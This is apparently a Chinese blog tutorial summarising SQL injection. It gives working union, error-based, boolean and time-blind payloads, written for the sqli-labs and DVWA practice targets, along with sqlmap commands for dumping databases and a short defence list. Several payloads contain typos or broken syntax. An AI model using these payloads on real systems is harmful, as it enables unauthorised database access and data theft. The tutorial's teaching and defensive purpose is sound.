Web安全-sql注入总结

最新推荐文章于 2022-09-16 13:24:43 发布
最新推荐文章于 2022-09-16 13:24:43 发布
阅读量697 收藏 3
点赞数 2
分类专栏： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sixoneyvye/article/details/105588826
版权

一、简介

了解SQL注入

原理：我都理解是，用户把不合法的语句通过web提交的方式带到数据库中执行(SQL语句)，不按照设计者的设计思维进行数据查询，从而获得自己想要的数据。web的提交方式为表单、输入域名、页面请求。

危害：sql注入一直是高危漏洞，它可以获取敏感信息、修改信息、脱裤、上传webshell等。

附带上我哥们的所写的原理：

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。

没有对用户的输入输出进行安全过滤，导致后台直接将用户的输入作为SQL语句的一部分，执行操作，产生危害

通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

注入分类

按变量类型分：数字型和字符型

按HTTP提交方式分：POST注入、GET注入和Cookie注入

按注入方式分：布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入

二、基本的注入流程

基本语句

最常用的查询语句无非就是：

查表selcet table_name from information_schema.tables where table_schema=database()
查库select column_name from information_schema.columns where culomn_schema=表 and table_schema=database()

手工注入

大部分以sqli-labs靶场为例，可能会结合CTF例题

判断注入点：进行闭合，判断是数字型还是字符型，通常都是单双引号和括号。

注释：一般我都是用 --+来注释 注意：DVWA靶场要用#来注释

判断字段： order by 5 （利用半分法来做）
在这里插入图片描述

查看可回显字段：

and 1=2 union select 1,2,3--+   //and 1=2 条件为假，，显示出可回显字段

在这里插入图片描述

知道可显字段后，收集一些数据库的信息，版本号、用户等。
在这里插入图片描述

查看当前数据库database（）   用户 user（）
版本号 version（）

下一步就该查表了 这里要用到group_concat这个函数，用法可以参考一下手册

and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--

在这里插入图片描述

查字段 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

在这里插入图片描述

查字段  union select 1，group_concat(username),group_concat(password) from users--+

在这里插入图片描述

宽字节

数据库大多数为GBK才可以，是由编码在转码的时候导致的。

1%df' and 1=1   1%bb' and 1=1

报错注入

报错注入简单理解就是利用错的数据带出你想要的数据

如果有兴趣可以读一下《代码审计——企业级web代码审计安全架构》上面写了10中方法，其他两种网上收集，其中用的最多的是前三种

floor报错,注入语句如下:
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

GeometryCollection()报错,注入语句如下:
and GeometryCollection((select *from(select from(select user () )a)b ));

polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(select user () )a)b );

multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(select user () )a)b );

linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

盲注

先介绍几个函数

length()计算数据库长度 substr()截取字符串 ascii()函数

布尔型

简单理解就是：成功会显示正确内容，失败显示非正常内容。

在这里插入图片描述

id=1'and length(database())=8--+    //数据库长度为8，可以看一下下面的图参考

在这里插入图片描述

id=1' and(ascii(substr(database(),1,1)))=115--+
id=1' and(ascii(substr(database(),2,1)))=101--+
id=1' and(ascii(substr(database(),3,1)))=99--+      //又能力写脚本，不行用Burp

在这里插入图片描述

接着判断表名了，我把公式写下来大家自己套把

判断长度and length(payload）=8--+
猜库表  and(ascii(substr(payload,1,1)))=ascii值--+   //这里用基本语句猜
时间盲注

时间盲注判断也就是根据返回时间进行判断，常用的sleep函数和if语句

判断：'and if(1 =0,1,sleep(5)) --+
      and sleep（5）--+

在这里插入图片描述

判断库：and if(length(database())=长度,sleep(10),1)--+
判断数据 and if(ascii(substr(database(),1,1))=115,slepp(10),1)--+ 
跟上面基本一样，就是利用if语句和sleep函数   //sleep设置3到5秒即可，不要太长

cookie、XFF、User-Agent注入

这些注入需要利用burp抓包

X-Forward-For：127.0.0.1' select 1,2,user()

内联注入

举例：id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
//利用别名
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

二次注入

在存入数据库的时候做了过滤，但是取出来的时候没有做过滤，而产生的数据库注入。

其他注入

还有DNS_log注入、堆叠注入、order by 注入、图片注入等等，我是不想写了。。。

三、最后总结

sqlmap基本使用

基本使用
GET sqlmap -u "url" //这个URL必须含？
POST sqlmap -u “url” --data "POST数据"
cookie sqlmap -u "url" --cookie "chsadj" --level 2 //这里的URL去掉？及其后的内容，并将它们放在cookie的内容里面
sqlmap.py -url   判断注入点
sqlmap.py -u 地址 --dbs   列出所有库
sqlmap.py -u 地址 -D 库 --tables   列出表
sqlmap.py -u 地址 -D 库 -T 表 --columns    字段
sqlmap.py -u 地址 -D 库 -T 表 -C  字段 --dump  数据
sqlmap.py -m url.txt //url
sqlmap.py -r get.txt  //HTTP请求
sqlmap.py -u”地址″ –tamper “脚本”
sqlmap.py -u URL –data“username=a&password=a” //指定表单注入

SQL防御

1.对用户输入的内容进行转义

2.限制关键字的输入，如单引号、双引号、右括号等，限制输入的长度

3.使用SQL语句预处理，对SQL语句进行预编译，然后进行参数绑定，最后传入参数

4.添加WAF，防火墙等

写的有点累，我也懒，给大家附带几篇师傅们写的吧

https://xz.aliyun.com/t/6677#toc-14

https://xz.aliyun.com/t/5878#toc-8

https://www.cnblogs.com/-chenxs/p/11614129.html

「已注销」
关注
  • 2
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
web安全，sql注入
08-13
web安全，sql注入的基础知识。web安全，sql注入的基础知识web安全，sql注入的基础知识web安全，sql注入的基础知识web安全，sql注入的基础知识
Web安全之SQL注入攻击
03-04
①这个晨讲我构思了两个星期，但是之前电脑坏了，一直拖...今天由我给大家带来《web安全之SQL注入篇》系列晨讲，首先对课程进行简单介绍，SQL注入篇一共分为三讲：第一讲：“纸上谈兵：我们需要在本地架设注入环境，构
Web漏洞_SQL注入（DVWA1.9版本SQL injection/SQL injection（Blind）靶机实验）
BeatRex的博客
03-18 1697
一、SQL注入的原理 场景：当我们在网站要登陆的时候，需要输入用户名、密码。这个过程由后台的程序将输入的内容连接数据库进行查询进行查询如php程序等。以php为例，当我们输入信息后，php程序会定义变量保存用户输入的信息，然后连接数据库，通过SQL语句进行查询。如果数据库中的用户名密码和我们相匹配则登陆成功最后php程序再返回结果。 SQL注入的原理就是由于php程序对我们输入的内容没有做好过滤，...
sql注入实践初体验
MClink的博客
11-16 794
  我们知道都web攻击有着许多种方式，作为一个web开发程序员，不但需要了解常见的攻击方式，还要简单熟悉其攻击方法，楼主不是搞CTF的，但很羡慕那种玩CTF的，这两天玩了一下实验吧的web题，学习了一些关于SQL注入的知识，很多人对SQL注入概念背的很熟悉，但是并没有对其实践过，于是我简单写了两个SQL注入小练习。部署到了楼主的服务器里。这篇文章主要针对和我一样web安全的初级爱好者吧。 先了...
web安全（4）-- sql注入
TaneRoom的博客
11-17 1107
注入攻击的本质就是把用户输入的数据当做代码来执行，这里有两个关键条件：第一个是用户能够控制输入，第二个是原本程序要执行的代码，拼接了用户输入的数据。
WEB安全-SQL注入
weixin_56319791的博客
09-16 1740
SQL注入漏洞
web安全：sql注入
qq_37387187的博客
05-21 310
判断能否能注入 三步走 1.加单引号 异常 2.and 1=1 正常 3.and 1=2 异常 判断数据库类型 一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。 SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下： http://www.mytest.com/s...
Web安全之：SQL注入
墨染的博客
09-12 346
条件 用户可以接触并修改发送到服务器的内容 URL判断 and 1=1 and 1=2 依据返回信息判断 整形 ’ 同上 字符型判断 -1 / +1 回显上个页面 整形 and sleep(12) 返回时间 原理 类型与手法 判断方法 以下均为完美条件下。。。 报错 floor floor方法 mysql> s
WEB安全-注入漏洞
10-11
SQL注入是一种Web应用代码中的漏洞。 黑客可以构造特殊请求，使Web应用执行带有附加条件的SQL语句 用户请求中带有参数的值，没有进行任何过滤 用户请求中带有参数的值，没有进行任何转码 通过特殊的请求，Web应用向...
超级SQL注入工具-web-sql
10-28
超级SQL注入工具是一款基于HTTP协议自组包的SQL注入工具，支持出现在HTTP协议任意位置的SQL注入，支持各种类型的SQL注入 支持Bool型盲注、错误显示注入、Union注入，支持Access、MySQL5以上版本、SQLServer、Oracle...
SQL注入攻击实验报告
05-07
SQL注入攻击实验报告，自己写了试验的网站，举了一些基本的攻击和防御方法，有xp_cmdshell的执行，用的是sqlserver 2005
web安全之SQL注入(一)
Longwaer
02-14 1136
学习了解掌握web安全中SQL注入的原理及检测方法，更好的用于渗透测试中完成检测。
☆[理论-总结]Web安全-SQL注入-总结01
3hex的博客
09-10 829
声明： 由于笔者能力有限，难免出现各种错误和漏洞。 文中内容为网络收集、个人总结的汇总。 主要是为了在初学手工注入时使用。持续更新... 一、SQL注入分类 以下仅为个人总结： 类型 请求方式 注入点(前端） 注入点（后端） 注入方式 整型 GET 参数处 GET参数 select语句中 Union注入（联合注入） POST数据包参数 盲注 Boolean盲注（布尔盲注） 请求头处 .
​SQL注入非常详细总结
dreamthe的博客
05-25 9952
个人觉得还是很详细，对你一定帮助。也是我自己花了不少时间总结的。
基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip
05-31
【优质项目推荐】 1、项目代码均经过严格本地测试，运行OK，确保功能稳定后才上传平台。可放心下载并立即投入使用，若遇到任何使用问题，随时欢迎私信反馈与沟通，博主会第一时间回复。 2、项目适用于计算机相关专业（如计科、信息安全、数据科学、人工智能、通信、物联网、自动化、电子信息等）的在校学生、专业教师，或企业员工，小白入门等都适用。 3、该项目不仅具有很高的学习借鉴价值，对于初学者来说，也是入门进阶的绝佳选择；当然也可以直接用于 毕设、课设、期末大作业或项目初期立项演示等。 3、开放创新：如果您有一定基础，且热爱探索钻研，可以在此代码基础上二次开发，进行修改、扩展，创造出属于自己的独特应用。 欢迎下载使用优质资源！欢迎借鉴使用，并欢迎学习交流，共同探索编程的无穷魅力！ 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip
六一儿童节快乐！（六一儿童节庆祝代码）Vue开发
05-31
六一儿童节快乐！（六一儿童节庆祝代码）Vue开发 like Project setup npm install Compiles and hot-reloads for development npm run serve Compiles and minifies for production npm run build Lints and fixes files npm run lint Customize configuration
uniapp聊天工具源码.zip
05-31
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域，每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写，确保了在对应环境下能够无缝运行。同时，源码中配备了详细的注释和文档，帮助用户快速理解代码结构和实现逻辑。 适用人群： 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生，还是对其他领域编程感兴趣的学生，这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码，你可以掌握各平台开发的基础知识，提升编程能力和项目实战经验。 使用场景及目标： 在学习阶段，你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码，你将深入了解各平台开发的技术细节和最佳实践，逐步培养起自己的项目开发和问题解决能力。此外，在求职或创业过程中，具备跨平台开发能力的大学生将更具竞争力。 其他说明： 为了确保源码资源的可运行性和易用性，特别注意了以下几点：首先，每份源码都提供了详细的运行环境和依赖说明，确保用户能够轻松搭建起开发环境；其次，源码中的注释和文档都非常完善，方便用户快速上手和理解代码；最后，我会定期更新这些源码资源，以适应各平台技术的最新发展和市场需求。
NX二次开发uc1603 函数介绍
05-31
NX二次开发uc1603 函数介绍，Ufun提供了一系列丰富的 API 函数，可以帮助用户实现自动化、定制化和扩展 NX 软件的功能。无论您是从事机械设计、制造、模具设计、逆向工程、CAE 分析等领域的专业人士，还是希望提高工作效率的普通用户，NX 二次开发 Ufun 都可以帮助您实现更高效的工作流程。函数覆盖了 NX 软件的各个方面，包括但不限于建模、装配、制图、编程、仿真等。这些 API 函数可以帮助用户轻松地实现自动化、定制化和扩展 NX 软件的功能。例如，用户可以通过 Ufun 编写脚本，自动化完成重复性的设计任务，提高设计效率；或者开发定制化的功能，满足特定的业务需求。语法简单易懂，易于学习和使用。用户可以快速上手并开发出符合自己需求的 NX 功能。本资源内容 提供了丰富的中英文帮助文档，可以帮助用户快速了解和使用 Ufun 的功能。用户可以通过资源中的提示，学习如何使用 Ufun 的 API 函数，以及如何实现特定的功能。
【目标检测数据集】遥感类军用飞机检测数据集3800张20类别VOC+YOLO格式.zip
最新发布
05-31
【目标检测数据集】遥感类军用飞机检测数据集3800张20类别VOC+YOLO格式.zip 数据集格式：Pascal VOC格式+YOLO格式(不包含分割路径的txt文件，仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)：3821 标注数量(xml文件个数)：3821 标注数量(txt文件个数)：3821 标注类别数：20 标注类别名称:["A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20"] 每个类别标注的框数： A1 框数 = 1646 A2 框数 = 1726 A3 框数 = 1164 A4 框数 = 642 A5 框数 = 1262 A6 框数 = 436 A7 框数 = 680 A8 框数 = 944 A9 框数 = 1073 A10 框数 = 924 A11 框数 = 501 A12 框数 = 702 A13 框数 = 1652 A14 框数 = 177
web安全sql注入
03-28
Web安全中的SQL注入是一种常见的攻击方式，它利用了Web应用程序对用户输入的不充分验证和过滤，从而使攻击者能够在数据库查询中插入恶意的SQL代码。这些恶意代码可以导致数据库泄露、数据篡改、甚至完全控制整个系统...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值